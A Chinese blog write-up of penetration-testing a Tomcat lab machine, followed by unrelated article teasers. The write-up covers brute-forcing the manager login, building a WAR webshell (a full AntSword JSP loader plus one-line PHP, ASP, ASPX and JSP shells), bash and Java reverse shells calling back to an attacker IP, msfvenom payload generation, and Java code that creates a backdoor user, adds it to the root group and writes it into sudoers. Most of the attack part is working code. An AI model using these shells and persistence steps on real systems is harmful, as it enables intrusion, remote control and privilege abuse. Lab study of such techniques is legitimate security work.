记录一次Tomcat靶机渗透

news2024/11/19 2:29:34

Apache Tomcat,是世界上最广泛使用的Java Web服务器之一。带有默认配置的Tomcat服务器非常容易发现。发现暴露Web应用管理器的服务器也非常容易,它是一个应用,允许管理员启动、停止、添加和删除服务器中的应用。

信息搜集

第一步:启动主机并进行

1、查看tomcat靶机IP地址、扫描地址所开放端口

arp-scan -l

192.168.245.248

nmap -T4 -A -v 192.168.245.248

得到,此网站应用的是Apache Tomcat/9.0.31

普及:

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。

Tomcat的目录结构

/bin #二进制文件

startup.bat #启动tomcat服务

shutdown.bat #关闭tomcat服务

/conf #配置文件

sever.xml #定义了tomcat启动时涉及的组件属性

tomcat-users.xml #tomcat的用户密码和权限

web.xml #定义servlet

/lib #存放全局的jar包

/logs #日志

/temp #临时文件

/webapps #存放JAVA的WEB项目

/manager #后台登录界面

/ROOT #根目录

/work #存放jsp编译后产生的class文件

2、根据网页进行web爬行后台登陆界面

dirb http://192.168.245.248:8080/

3、访问管理登陆界面

查询资料可知,tomcat默认管理员用户名为tomcat

4、通过burp suite进行抓包破解密码

选择爆破的方式为Sniper并将Basic后面那串base64加密的账号密码Add$

这串内容了解到是base64加密:BASE64加密解密

这里为突破口

Payloads设定为选择:Custom iterator

Custom iterator这里是指相当于把一条爆破语句拆成三个部分:账号:密码

第一部分加载用户字典,第二部分输入英文符号: ,第三部分加载密码字典

选择加密方式为Encode内的base64加密

去掉url勾选

开始爆破:

使用用户名:tomcat,密码:tomcat 进入到 Manager 页面

方法2:

1、启用MMetasploit

msfconsole

2、查看使用参数

use auxiliary/scanner/tomcat_mgr_login

3、设置目标主机

set rhosts 192.168.245.248

4、服务器由于太多请求而崩溃,所以我们降低爆破的速度:
set threads 5

set brutefoce_speed 3

run

Manager 页面上传 war 包即可直接 getshell :

war 包是 Sun 提出的一种 web 应用程序格式。它与 jar 类似,是很多文件的压缩包。war 包中的文件按照一定目录结构来组织。

一般其根目录下包含有 html 和 jsp 文件,或者包含有这两种文件的目录,另外还有 WEB-INF 目录。通常在 WEB-INF 目录下含有一个 web.xml 文件和一个 classes 目录。web.xml 是这个应用的配置文件,而 classes 目录下则包含编译好的 servlet 类和 jsp,或者 servlet 所依赖的其他类(如 JavaBean)。通常这些所依赖的类也可以打包成 jar 包放在 WEB-INF 下的 lib 目录下。

注:

制作war木马, 将ma.jsp小马放在JDK_HOME/bin目录下

<% if(request.getParameter(“f”)!=null)(new
java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());
%>

cmd进入JDK_HOME/bin目录,运行"jar cvf shell.war ma.jsp",生成shell.war小马文件

war包木马制作成功

<%--
             _   ____                       _
  __ _ _ __ | |_/ ___|_      _____  _ __ __| |
 / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
| (_| | | | | |_ ___) \ V  V / (_) | | | (_| |
 \__,_|_| |_|\__|____/ \_/\_/ \___/|_|  \__,_|
———————————————————————————————————————————————
    AntSword JSP Defineclass Zlib deflated Script
    警告:
        此脚本仅供合法的渗透测试以及爱好者参考学习
         请勿用于非法用途,否则将追究其相关责任!
———————————————————————————————————————————————
pass: ant
encoder: https://github.com/AntSwordProject/AwesomeEncoder/blob/master/jsp/encoder/zlib_deflated_class.js
--%>
<%@page import="java.util.*,java.io.*,java.util.zip.*"%>
<%!
  class U extends ClassLoader {
    U(ClassLoader c) {
      super(c);
    }
    public Class g(byte[] b) {
      return super.defineClass(b, 0, b.length);
    }
  }
  public byte[] decompress(byte[] data) {
    byte[] output = new byte[0];
    Inflater dc = new Inflater();
    dc.reset();
    dc.setInput(data);
    ByteArrayOutputStream o = new ByteArrayOutputStream(data.length);
    try {
      byte[] buf = new byte[1024];
      while (!dc.finished()) {
        int i = dc.inflate(buf);
        o.write(buf, 0, i);
      }
      output = o.toByteArray();
    } catch (Exception e) {
        output = data;
        e.printStackTrace();
    } finally {
      try {
          o.close();
      } catch (IOException e) {
          e.printStackTrace();
      }
    }
    dc.end();
    return output;
  }
  public byte[] base64Decode(String str) throws Exception {
    try {
      Class clazz = Class.forName("sun.misc.BASE64Decoder");
      return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
    } catch (Exception e) {
      Class clazz = Class.forName("java.util.Base64");
      Object decoder = clazz.getMethod("getDecoder").invoke(null);
      return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
    }
  }
%>
<%
  String cls = request.getParameter("ant");
  if (cls != null) {
    new U(this.getClass().getClassLoader()).g(decompress(base64Decode(cls))).newInstance().equals(pageContext);
  }
%>

成功后上传至服务器上

访问包的路径

知识积累:

PHP一句话木马:<?php @eval($_POST['key']);?>

ASP一句话木马:<%eval request['key']%>

ASPX一句话木马:<%@ Page Language="Jscript"%><%eval(Request.Item["key"],"unsafe");%>

jsp一句话木马:

<% if(request.getParameter(“f”)!=null)(new

java.io.FileOutputStream(application.getRealPath("/")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());

%>

提交url为 http://localhost/1.jsp?f=1.txt&;t=hello

访问http://localhost/1.txt 出来hello

执行系统命令:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls

执行之后不会有任何回显,用来反弹个shell很方便。

脚本地址下载:

GitHub - AntSwordProject/AwesomeScript: AntSword Shell 脚本分享/示例

注:

查看文件位置

Applications中可以看到我们刚才上传的木马文件

  • 而我们的木马文件则在这个目录下面
  • 也就是我们刚才.war的文件名 【自定义】下面
  • 再加上我们刚才生成的.jsp的这个文件名
  • 就构造了我们可以用蚁剑进行连接的URL

最后通过中国蚁剑连接测试:

linux内部基础信息收集

1、查看系统账户

2、权限不允许查找flag.txt文件

3、uname -a 显示全部系统信息

4、cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版

5、cat /etc/passwd 所有人都可看(查看用户)

6、ps aux | grep root

6、查看文件所属权限

ls-al

7、查看内核信息cat /proc/version

 

8、有无明文存放用户密码

grep -i user [filename]
 grep -i pass [filename]
 grep -C 5 "password" [filename]
 find / -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

9、cat /proc/$$/status | grep "[UG]id"

10、查看Linux进程

ps -axjf/ps -ef

11、ls -alh

12、漏洞扫描

kaliLinux为例:git clone GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool

chmod +x linux-exploit-suggester

./linux-exploit-suggester.sh

可能存在的提权漏洞

下载linux-exploit-suggester.sh文件上传至tomcat靶机执行检测靶机可能存在的漏洞

1、通过 SSH 爆破 root 密码 XXX

SSH 服务的配置文件有为两个,分别是:

  • /etc/ssh/ssh_config : 客户端的配置文件
  • /etc/ssh/sshd_config : 服务端的配置文件

仅当 /etc/ssh/sshd_config 中 PermitRootLogin 设置为 yes,root 用户才能登录 ssh:

2、检查内核漏洞 XXX

2.1脏牛漏洞

编译好的EXP下载地址: GitHub - Brucetg/DirtyCow-EXP: 编译好的脏牛漏洞(CVE-2016-5195)EXP

(一般将文件上传至tmp文件夹,相对权限高一些)

2.2将文件设置成可执行文件

chmod +x 文件名

chmod 775 +文件名

2.3、gitbub查询相关脏牛提权脚本c文件 XXXX

设置本地环境

gcc -pthread [文件名].c -o 文件名 -lcrypt

将编译好的可执行文件上传至服务器中(最好和靶机相同的环境通过GCC编译)

设置成可执行文件

chmod +x [文件名]

再执行 ./文件名 hello123

(失败)XXXXXX

2.4、利用kaliLinux反弹shell

nc -lvp 2333

靶机输入:

bash -i >& /dev/tcp/192.168.245.193/2333 0>&1

2.5MSF执行jar包

MSF进行监听

msfconsole

use exploit/multi/handler

set payload java/shell_reverse_tcp

set LHOST 192.168.245.193

set LPORT 7777

exploit

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.245.193 lport=4444 -f elf >4444.elf

2.6测试执行:

python -c 'import pty;pty.spawn("/bin/bash")'

3、本地溢出漏洞提权?X

4、服务器配置问题?X

5、漏洞扫描?X

6、find提权?X

7、有数据库UDF提权?X

8、SUID提权?X

9、plokit提权?Linux本地环境测试可以,但在靶机无法提权

exp1链接:GitHub - luijait/PwnKit-Exploit: Proof of Concept (PoC) CVE-2021-4034

编译后执行文件

10、利用Java代码执行命令

测试利用java脚本反弹shell √

public class hw {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.245.193/2334 0>&1"});
        p.waitFor();
    }
}
public class Revs {
    public static void main(String[] args) throws Exception { 
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.245.193/2334;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd); p.waitFor();
    }
}

1、查看Java环境

// package com.company;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
public class HelloWorld {
    public static void main(String[] args) throws IOException, InterruptedException {
        Process p = Runtime.getRuntime().exec("whoami");
        java.io.InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is, Charset.forName("GBK"))); //设置读取的时候的编码为GBK
        p.waitFor();
        if(p.exitValue()!=0){
            //说明命令执行失败
        }else{
            String s = null;
            while((s=reader.readLine())!=null){
                System.out.println(s);
            }
        }
    }
}

 

2、继续使用Java脚本

# 创建用户 useradd username

// package com.company;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
public class HelloWorld {
    public static void main(String[] args) throws IOException, InterruptedException {
        Process p = Runtime.getRuntime().exec("useradd Monster");
        java.io.InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is, Charset.forName("GBK"))); //设置读取的时候的编码为GBK
        p.waitFor();
        if(p.exitValue()!=0){
            //说明命令执行失败
        }else{
            String s = null;
            while((s=reader.readLine())!=null){
                System.out.println(s);
            }
        }
    }
}

 

3、#创建密码 echo "password" | passwd --stdin username

方法一:echo '123.com' | passwd --stdin Monster

// package com.company;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
public class HelloWorld {
    public static void main(String[] args) throws IOException, InterruptedException {
        Process p = Runtime.getRuntime().exec("echo '123.com' | passwd --stdin Monster");
        java.io.InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is, Charset.forName("GBK"))); //设置读取的时候的编码为GBK
        p.waitFor();
        if(p.exitValue()!=0){
            //说明命令执行失败
        }else{
            String s = null;
            while((s=reader.readLine())!=null){
                System.out.println(s);
            }
        }
    }
}

知识点:

使用base64命令加密linux命令并执行

echo "ls -l" | base64 加密

echo bHMgLWwK | base64 -d | sh 解密

方法二:添加Monster 用户密码脚本

new String[]{"sh", "-c", "echo '123.com' | passwd --stdin Monster"}

// package com.company;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
public class HelloWorld {
    public static void main(String[] args) throws IOException, InterruptedException {
        Process p = Runtime.getRuntime().exec(new String[]{"sh", "-c", "echo '123.com' | passwd --stdin Monster"});
        java.io.InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is, Charset.forName("GBK"))); //设置读取的时候的编码为GBK
        p.waitFor();
        if(p.exitValue()!=0){
            //说明命令执行失败
        }else{
            String s = null;
            while((s=reader.readLine())!=null){
                System.out.println(s);
            }
        }
    }
}

4、将Monster账户添加到root组

usermod -g root Monster

// package com.company;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
public class HelloWorld {
    public static void main(String[] args) throws IOException, InterruptedException {
        Process p = Runtime.getRuntime().exec("usermod -g root Monster");
        java.io.InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is, Charset.forName("GBK"))); //设置读取的时候的编码为GBK
        p.waitFor();
        if(p.exitValue()!=0){
            //说明命令执行失败
        }else{
            String s = null;
            while((s=reader.readLine())!=null){
                System.out.println(s);
            }
        }
    }
}

远程登陆测试

ssh Monster@192.168.245.249

sudo vim /etc/ssh/sshd_config 增加如下修改 PasswordAuthentication yes

PermitRootLogin yes #允许root认证登录

PasswordAuthentication yes #允许密码认证

先查看sshd_config文件

// package com.company;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
public class HelloWorld {
    public static void main(String[] args) throws IOException, InterruptedException {
        Process p = Runtime.getRuntime().exec(new String[]{"sh", "-c", "cat /etc/ssh/sshd_config"});
        java.io.InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is, Charset.forName("GBK"))); //设置读取的时候的编码为GBK
        p.waitFor();
        if(p.exitValue()!=0){
            //说明命令执行失败
        }else{
            String s = null;
            while((s=reader.readLine())!=null){
                System.out.println(s);
            }
        }
    }
}

5、修改配置文件

*SSH服务中参数PasswordAuthentication的默认值为yes,将其值置为no以禁用密码验证登录,导致此类故障。需要修改PasswordAuthentication配置解决此问题。

echo 'PasswordAuthentication yes'>> /etc/ssh/sshd_config

// package com.company;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
public class HelloWorld {
    public static void main(String[] args) throws IOException, InterruptedException {
        Process p = Runtime.getRuntime().exec(new String[]{"sh", "-c", "echo 'PasswordAuthentication yes' >> /etc/ssh/sshd_config"});
        java.io.InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is, Charset.forName("GBK"))); //设置读取的时候的编码为GBK
        p.waitFor();
        if(p.exitValue()!=0){
            //说明命令执行失败
        }else{
            String s = null;
            while((s=reader.readLine())!=null){
                System.out.println(s);
            }
        }
    }
}

知识点:重定向标识符 >(覆盖掉原来文件)>>(在文件后添加)

测试远程登陆

6、提升sudo没权限

将Monster用户添加至sudoers文件内

Monster ALL=(ALL) ALL

// package com.company;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
public class HelloWorld {
    public static void main(String[] args) throws IOException, InterruptedException {
        Process p = Runtime.getRuntime().exec(new String[]{"sh", "-c", "echo 'Monster ALL=(ALL) ALL' >> /etc/sudoers"});
        java.io.InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is, Charset.forName("GBK"))); //设置读取的时候的编码为GBK
        p.waitFor();
        if(p.exitValue()!=0){
            //说明命令执行失败
        }else{
            String s = null;
            while((s=reader.readLine())!=null){
                System.out.println(s);
            }
        }
    }
}

通过sudo su口令进入到root账户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/125040.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

频谱分析误差主要表现在三个方面

频谱分析仪是研究电信号频谱结构的仪器&#xff0c;用于信号失真度、调制度、谱纯度、频率稳定度和交调失真等信号参数的测量&#xff0c;可用以测量放大器和滤波器等电路系统的某些参数&#xff0c;是一种多用途的电子测量仪器。它又可称为频域示波器、跟踪示波器、分析示波器…

基于python多光谱遥感数据处理、图像分类、定量评估及机器学习方法

普通数码相机记录了红、绿、蓝三种波长的光&#xff0c;多光谱成像技术除了记录这三种波长光之外&#xff0c;还可以记录其他波长&#xff08;例如&#xff1a;近红外、热红外等&#xff09;光的信息。与昂贵、不易获取的高光谱、高空间分辨率卫星数据相比&#xff0c;中等分辨…

【蚂蚁】Alluxio在蚂蚁集团大规模训练中的应用

本期内容我们邀请到了来自蚂蚁集团的开发工程师陈传迎老师&#xff0c;给大家分享Alluxio在蚂蚁集团是如何支持大规模模型训练的。 首先是关于引入Alluxio的背景&#xff1a; 为什么要引入Alluxio&#xff1f;Alluxio到底解决了什么问题&#xff1f; 带着这些问题&#xff0…

USDP使用笔记(八)Flink配置及简单测试

Flink配置Flink配置及简单测试 上一篇&#xff1a;https://lizhiyong.blog.csdn.net/article/details/123560865 将USDP2.0自带的Flink更换为Flink1.14后&#xff0c;还没有来得及改配置。不改配置用起来是有问题的&#xff0c;所以。。。本文主要就是改配置及简单测试效果。 …

基于ssm框架实现的Java web在线考试系统

一、项目简介 本项目是一套基于ssm框架实现的Java web在线考试系统&#xff0c;主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的Java学习者。 包含&#xff1a;项目源码、数据库脚本等&#xff0c;该项目附带全部源码可作为毕设使用。 项目都经过严格调试&…

HITCON2022--ctf驱动逆向题

作者&#xff1a;selph HITCON CTF 2022 Writeup-checker 挺有意思的一道题&#xff0c;这里的关键函数是使用的动态生成执行操作&#xff0c;按照特定参数序列进行解密才能正常执行&#xff0c;否则一定会报错异常 checker 一共给了两个文件&#xff1a;checker.exe和chec…

VR数字政务:多功能一体化,政务服务更便民

越来越多的政务单位都是通过网络等线上信息化渠道&#xff0c;进行政务的推进以及落实、查询等功能的实施&#xff0c;在实际的政务应用中&#xff0c;VR技术可以打造集实景导航、窗口查询、在线申报等多功能为一体&#xff0c;实现数据多跑腿、群众少跑腿&#xff0c;有效提高…

Nginx 01篇——Nginx详细安装步骤以及Nginx各种启动方式

Nginx 01篇——Nginx详细安装步骤以及Nginx各种启动方式1. 前言2. 下载安装2.1 下载安装包2.2 安装2.2.1 离线安装2.2.1.1 安装步骤2.2.1.2 安装问题2.2.2 先安装所需依赖2.2.3 直接 yum 安装2.2.4 指定安装目录安装3. nginx 启动4. 启动后访问5. Nginx 启动等简单命令5.1 启动…

SVN,Git与Helix Core,谁的数据管理基础设施更安全?

2022年2月底&#xff0c;全球知名的半导体芯片公司英伟达被爆遭到勒索软件攻击&#xff0c;不久后&#xff0c;英伟达公司官方证实遭到入侵&#xff0c;攻击者已开始在线泄露员工凭据和私密信息。勒索软件组织表示&#xff0c;如果英伟达拒绝支付高达100万美元的赎金&#xff0…

写在2022年的末尾

今年是我人生的第24个年头。 最近了解稚晖君&#xff0c;xinglu师兄&#xff0c;以及很多优秀的同辈人的事迹之后&#xff0c;感觉到自己还差了很远。 读研已经过半&#xff0c;研二已经到了第二个学期&#xff0c;而自己还什么成果都没有。甚至开题的事情到现在都还没有头绪。…

C++简介

C是一种计算机高级程序设计语言&#xff0c;由C语言扩展升级而产生 &#xff0c;最早于1979年由本贾尼斯特劳斯特卢普在AT&T贝尔工作室研发。 C既可以进行C语言的过程化程序设计&#xff0c;又可以进行以抽象数据类型为特点的基于对象的程序设计&#xff0c;还可以进行以…

计算机英文论文怎么做降重? - 易智编译EaseEditing

人工降重一定要找靠谱的机构做。 降重是很耗费精力和时间的学术服务。 而那些没有口碑且不专业的商家&#xff0c;真的会花费那么多心思来仔细琢磨你的论文吗&#xff1f; 那些没有声誉的非专业商家给论文降重会产生很多弊端&#xff1a; &#xff08;1&#xff09;他们为了…

内网穿透你真的了解吗?

前言 内网穿透作为程序员常用的调试手段之一&#xff0c;我们可以通过在个人电脑上运行花生壳或者 frp 等方式&#xff0c;让他人访问我们本地启动的服务&#xff0c;而且这种访问可以不受局域网的限制&#xff0c;当我们使用ngrok,frp等开源框架时&#xff0c;你是否有好奇过…

力扣sql入门篇(一)

力扣sql入门篇(一) 1 大的国家 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 1.2 示例sql语句 SELECT name,population,area FROM World WHERE area>3000000 OR population>250000001.3 运行截图 2 可回收且低碳的产品 2.1 题目内容 2.1.1 基本题目信息 2.…

c++使用icu国际化(i18n)

icu International Components for Unicode&#xff0c;https://github.com/unicode-org/icu.git https://icu.unicode.org/ 帮助文档&#xff1a; https://unicode-org.github.io/icu/userguide/icu/howtouseicu.html i18n&#xff0c;Internationalization (in/i18n) libra…

第五章:开机,重启和用户登录注销-[实操篇]

一&#xff1a;开机&重启命令 1.1基本介绍 shutdown shutdown -h now&#xff1a;表示立即关机 shutdown -h 1 : 表示1分钟后关机 shutdown -r now : 立即重启 halt 就是直接使用&#xff0c;效果等价于关机 reboot 就是直接使用&#xff0c;效果等价于关机 syn &…

uTools V3.3.0 效率工具集

前言 uTools是一款基于electron开发的工具集软件&#xff0c;通过快捷唤醒搜索&#xff0c;直接打开各种功能&#xff0c;非常方便。 uTools uTools是一个极简、插件化、跨平台的现代化桌面软件。通过自由选配丰富的插件&#xff0c;打造你得心应手的工具集合。 通过快捷键…

制作gltf动态夜景模型

kele 前言 要制作一个充满科技感的场景&#xff0c;离不开动画特效。众所周知&#xff0c;Unity软件可制作各种炫酷动画效果&#xff0c;如果将Unity中的动画添加到WebGL网页项目中&#xff0c;那一定会非常美妙吧~接下来小编将介绍如何通过Unity制作纹理动画&#xff0c;并导…

RISC-V IDE MRS使用笔记(七) :常用开发技巧汇总

RISC-V IDE MRS使用笔记(七) &#xff1a;常用开发技巧汇总 Q1: MRS调试时如何查看外设寄存器内容&#xff1f; A1: 在调试配置界面添加相应的.svd文件。 Q2: MRS如何调用数学库? A2: #include ”math.h”头文件,并在工程属性页面增加”m”参数。 Q3: 如何设置MRS调试前默认…

还在对比IT培训机构,行内人告诉你怎么比?

还在对比IT培训机构&#xff0c;行内人告诉你怎么比&#xff1f;因为身处IT培训行业6年多点时间 &#xff0c;从讲师到校区经营的成长履历中。见识过众多机构的运营和发展&#xff0c;当然也包含我所在的正厚软件。平时在知乎上看的多&#xff0c;自然推荐的关于机构对比的话题…